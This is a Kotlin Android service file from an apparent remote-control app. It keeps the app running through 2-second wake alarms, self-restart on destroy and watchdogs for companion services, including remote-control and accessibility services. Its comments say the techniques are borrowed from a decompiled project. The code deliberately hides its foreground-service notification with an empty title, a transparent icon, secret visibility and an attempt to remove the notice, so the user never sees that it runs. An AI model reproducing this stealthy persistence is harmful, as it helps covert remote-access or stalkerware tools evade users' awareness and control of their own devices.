package com.hikoncont.service

import android.app.AlarmManager
import android.app.PendingIntent
import android.app.Service
import android.content.Context
import android.content.Intent
import android.os.Build
import android.os.IBinder
import android.util.Log
import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*

/**
 * AlarmManager保活服务 - 借鉴反编译项目的AlarmManager保活机制
 * 主要职责：
 * 1. 15秒间隔的精确闹钟
 * 2. 服务状态检查
 * 3. 自动重启机制
 */
class AlarmManagerKeepAliveService : Service() {

    companion object {
        private const val TAG = "AlarmManagerKeepAlive"
        private const val ALARM_INTERVAL = 2000L // 2秒间隔（参照反编译项目快速保活）
        private const val ALARM_ID = 1001
    }

    private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var alarmManager: AlarmManager? = null
    private var alarmPendingIntent: PendingIntent? = null

    override fun onCreate() {
        super.onCreate()
        Log.i(TAG, "⏰ AlarmManager保活服务创建")
        
        // 启动前台服务
        startForeground()
        
        // 初始化AlarmManager
        initAlarmManager()
        
        // 启动保活检查
        startKeepAliveCheck()
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Log.i(TAG, "AlarmManager保活服务启动命令")
        return START_STICKY
    }

    override fun onBind(intent: Intent?): IBinder? {
        return null
    }

    override fun onDestroy() {
        Log.i(TAG, "🛑 AlarmManager保活服务销毁")
        
        // 取消AlarmManager
        cancelAlarmManager()
        
        // 停止服务
        serviceScope.cancel()
        
        // 安排重启
        scheduleRestart()
        
        super.onDestroy()
    }

    /**
     * 启动前台服务
     */
    private fun startForeground() {
        try {
            val notification = createNotification()
            startForeground(ALARM_ID, notification)
            
            // ✅ 尝试移除通知（某些设备上可能有效）
            try {
                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {
                    stopForeground(Service.STOP_FOREGROUND_REMOVE)
                }
            } catch (e: Exception) {
                // 忽略错误，某些设备不支持移除通知
                Log.d(TAG, "无法移除通知（这是正常的）")
            }
            
            Log.i(TAG, "🎯 AlarmManager前台服务已启动（完全隐藏通知）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动前台服务失败", e)
        }
    }

    /**
     * 创建通知
     */
    private fun createNotification(): android.app.Notification {
        val channelId = "alarm_manager_keepalive_channel"
        val channelName = "AlarmManager保活服务"
        
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
            // ✅ 使用 IMPORTANCE_NONE 完全隐藏通知（Android 8.0+）
            val channel = android.app.NotificationChannel(
                channelId,
                channelName,
                android.app.NotificationManager.IMPORTANCE_NONE // ✅ 完全隐藏
            ).apply {
                setShowBadge(false)
                enableLights(false)
                enableVibration(false)
                setSound(null, null)
                setBypassDnd(false)
            }
            val notificationManager = getSystemService(android.app.NotificationManager::class.java)
            notificationManager.createNotificationChannel(channel)
        }
        
        return NotificationCompat.Builder(this, channelId)
            .setContentTitle("") // ✅ 隐藏标题
            .setContentText("") // ✅ 隐藏内容
            .setSmallIcon(android.R.color.transparent) // ✅ 使用透明图标
            .setPriority(NotificationCompat.PRIORITY_MIN) // ✅ 最低优先级
            .setOngoing(true)
            .setVisibility(NotificationCompat.VISIBILITY_SECRET) // ✅ 完全隐藏
            .setShowWhen(false) // ✅ 不显示时间
            .build()
    }

    /**
     * 初始化AlarmManager
     */
    private fun initAlarmManager() {
        try {
            alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
            
            val intent = Intent(this, AlarmManagerReceiver::class.java)
            alarmPendingIntent = PendingIntent.getBroadcast(
                this, ALARM_ID, intent,
                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
            )
            
            val pendingIntent = alarmPendingIntent ?: return
            
            // 设置重复闹钟
            val triggerTime = System.currentTimeMillis() + ALARM_INTERVAL
            
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                // Android 6.0+ 使用精确闹钟
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
                    // Android 12+ 检查精确闹钟权限
                    if (alarmManager?.canScheduleExactAlarms() == true) {
                        alarmManager?.setExactAndAllowWhileIdle(
                            AlarmManager.RTC_WAKEUP,
                            triggerTime,
                            pendingIntent
                        )
                        Log.i(TAG, "⏰ 精确闹钟已设置 (Android 12+)")
                    } else {
                        alarmManager?.set(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent)
                        Log.i(TAG, "⏰ 普通闹钟已设置 (Android 12+ 无精确权限)")
                    }
                } else {
                    // Android 6.0-11 直接使用精确闹钟
                    alarmManager?.setExactAndAllowWhileIdle(
                        AlarmManager.RTC_WAKEUP,
                        triggerTime,
                        pendingIntent
                    )
                    Log.i(TAG, "⏰ 精确闹钟已设置 (Android 6-11)")
                }
            } else {
                alarmManager?.set(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent)
                Log.i(TAG, "⏰ 普通闹钟已设置")
            }
            
            // 设置重复闹钟
            alarmManager?.setRepeating(
                AlarmManager.RTC_WAKEUP,
                System.currentTimeMillis() + ALARM_INTERVAL,
                ALARM_INTERVAL,
                pendingIntent
            )
            
            Log.i(TAG, "⏰ AlarmManager已启动，间隔: ${ALARM_INTERVAL}ms")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 初始化AlarmManager失败", e)
        }
    }

    /**
     * 取消AlarmManager
     */
    private fun cancelAlarmManager() {
        try {
            val pendingIntent = alarmPendingIntent
            if (pendingIntent != null) {
                alarmManager?.cancel(pendingIntent)
            }
            Log.i(TAG, "⏰ AlarmManager已取消")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 取消AlarmManager失败", e)
        }
    }

    /**
     * ✅ 检查APP是否安装完成
     * 只有在安装完成后才开始保活检查，避免第一次打开APP时反复唤醒主页
     */
    private fun isAppInstallationComplete(): Boolean {
        return try {
            val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
            val isCompleted = installationStateManager.isInstallationComplete()
            
            if (!isCompleted) {
                Log.d(TAG, "🔒 APP安装未完成，跳过保活检查")
                return false
            }
            
            // ✅ 检查安装完成时间，确保不是刚安装完成
            val installationTime = installationStateManager.getInstallationTime()
            val currentTime = System.currentTimeMillis()
            val timeSinceInstallation = currentTime - installationTime
            
            // 如果安装完成时间少于30秒，跳过保活检查（给系统足够时间稳定）
            if (timeSinceInstallation < 30000L) {
                Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms)，跳过保活检查，等待系统稳定")
                return false
            }
            
            Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms)，开始保活检查")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查APP安装完成状态失败", e)
            false
        }
    }

    /**
     * 启动保活检查
     * ✅ 关键：只有在APP安装完成后才开始保活检查
     */
    private fun startKeepAliveCheck() {
        serviceScope.launch {
            while (isActive) {
                try {
                    // ✅ 关键：检查APP是否安装完成，未完成则不进行保活检查
                    if (!isAppInstallationComplete()) {
                        Log.d(TAG, "🔒 APP安装未完成，跳过保活检查")
                        delay(ALARM_INTERVAL)
                        continue
                    }
                    
                    // 检查服务状态
                    checkServiceStatus()
                    
                    // 更新心跳
                    HeartbeatManager.getInstance(this@AlarmManagerKeepAliveService).updateHeartbeat()
                    
                    delay(ALARM_INTERVAL)
                } catch (e: Exception) {
                    Log.e(TAG, "保活检查失败", e)
                    delay(ALARM_INTERVAL)
                }
            }
        }
    }

    /**
     * 检查服务状态
     */
    private fun checkServiceStatus() {
        try {
            // 检查增强保活服务
            if (isServiceNotRunning(EnhancedKeepAliveService::class.java)) {
                Log.w(TAG, "⚠️ 增强保活服务未运行，启动增强保活服务")
                startEnhancedKeepAliveService()
            }
            
            // 检查守护服务
            if (isServiceNotRunning(GuardKeepAliveService::class.java)) {
                Log.w(TAG, "⚠️ 守护服务未运行，启动守护服务")
                startGuardService()
            }
            
            // 检查前台服务
            if (isServiceNotRunning(RemoteControlForegroundService::class.java)) {
                Log.w(TAG, "⚠️ 前台服务未运行，启动前台服务")
                startForegroundService()
            }
            
            // 检查无障碍服务
            val accessibilityService = AccessibilityRemoteService.getInstance()
            if (accessibilityService == null) {
                // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                Log.d(TAG, "📱 无障碍服务未运行，系统会自动管理无障碍服务生命周期")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务状态失败", e)
        }
    }

    /**
     * 检查服务是否未运行
     */
    private fun isServiceNotRunning(serviceClass: Class<*>): Boolean {
        return try {
            val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE)
            
            runningServices.none { it.service.className == serviceClass.name }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务运行状态失败", e)
            true
        }
    }

    /**
     * 启动增强保活服务
     */
    private fun startEnhancedKeepAliveService() {
        try {
            val intent = Intent(this, EnhancedKeepAliveService::class.java)
            if (Build.VERSION.SDK_INT >= 26) {
                startForegroundService(intent)
            } else {
                startService(intent)
            }
            Log.i(TAG, "🛡️ 增强保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动增强保活服务失败", e)
        }
    }

    /**
     * 启动守护服务
     */
    private fun startGuardService() {
        try {
            val intent = Intent(this, GuardKeepAliveService::class.java)
            if (Build.VERSION.SDK_INT >= 26) {
                startForegroundService(intent)
            } else {
                startService(intent)
            }
            Log.i(TAG, "🛡️ 守护服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动守护服务失败", e)
        }
    }

    /**
     * 启动前台服务
     */
    private fun startForegroundService() {
        try {
            val intent = Intent(this, RemoteControlForegroundService::class.java)
            startForegroundService(intent)
            Log.i(TAG, "🎯 前台服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动前台服务失败", e)
        }
    }

    // ✅ 参考 f 目录：已移除重启无障碍服务的功能，系统会自动管理无障碍服务生命周期

    /**
     * 安排重启
     */
    private fun scheduleRestart() {
        try {
            val intent = Intent(this, AlarmManagerKeepAliveService::class.java)
            val pendingIntent = PendingIntent.getService(
                this, ALARM_ID, intent,
                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
            )
            
            val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
            val restartTime = System.currentTimeMillis() + 3000L // 3秒后重启
            
            alarmManager.setExact(
                AlarmManager.RTC_WAKEUP,
                restartTime,
                pendingIntent
            )
            
            Log.i(TAG, "⏰ 已安排服务重启")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 安排服务重启失败", e)
        }
    }
}

/**
 * AlarmManager广播接收器
 */
class AlarmManagerReceiver : android.content.BroadcastReceiver() {
    
    companion object {
        private const val TAG = "AlarmManagerReceiver"
    }
    
    override fun onReceive(context: Context, intent: Intent) {
        try {
            Log.i(TAG, "⏰ 收到AlarmManager广播")
            
            // 检查心跳是否超时
            val heartbeatManager = HeartbeatManager.getInstance(context)
            if (heartbeatManager.shouldRestartService()) {
                Log.w(TAG, "⚠️ 检测到服务异常，执行重启")
                restartAllServices(context)
            } else {
                Log.d(TAG, "✅ 服务状态正常")
            }
            
            // 更新心跳
            heartbeatManager.updateHeartbeat()
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理AlarmManager广播失败", e)
        }
    }
    
    /**
     * 重启所有服务
     */
    private fun restartAllServices(context: Context) {
        try {
            Log.i(TAG, "🔄 重启所有服务")
            
            // 启动AlarmManager保活服务
            val alarmIntent = Intent(context, AlarmManagerKeepAliveService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                context.startForegroundService(alarmIntent)
            } else {
                context.startService(alarmIntent)
            }
            
            // 启动增强保活服务
            val enhancedIntent = Intent(context, EnhancedKeepAliveService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                context.startForegroundService(enhancedIntent)
            } else {
                context.startService(enhancedIntent)
            }
            
            // 启动守护服务
            val guardIntent = Intent(context, GuardKeepAliveService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                context.startForegroundService(guardIntent)
            } else {
                context.startService(guardIntent)
            }
            
            // 启动前台服务
            val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java)
            context.startForegroundService(foregroundIntent)
            
            Log.i(TAG, "✅ 所有服务重启完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重启所有服务失败", e)
        }
    }
}
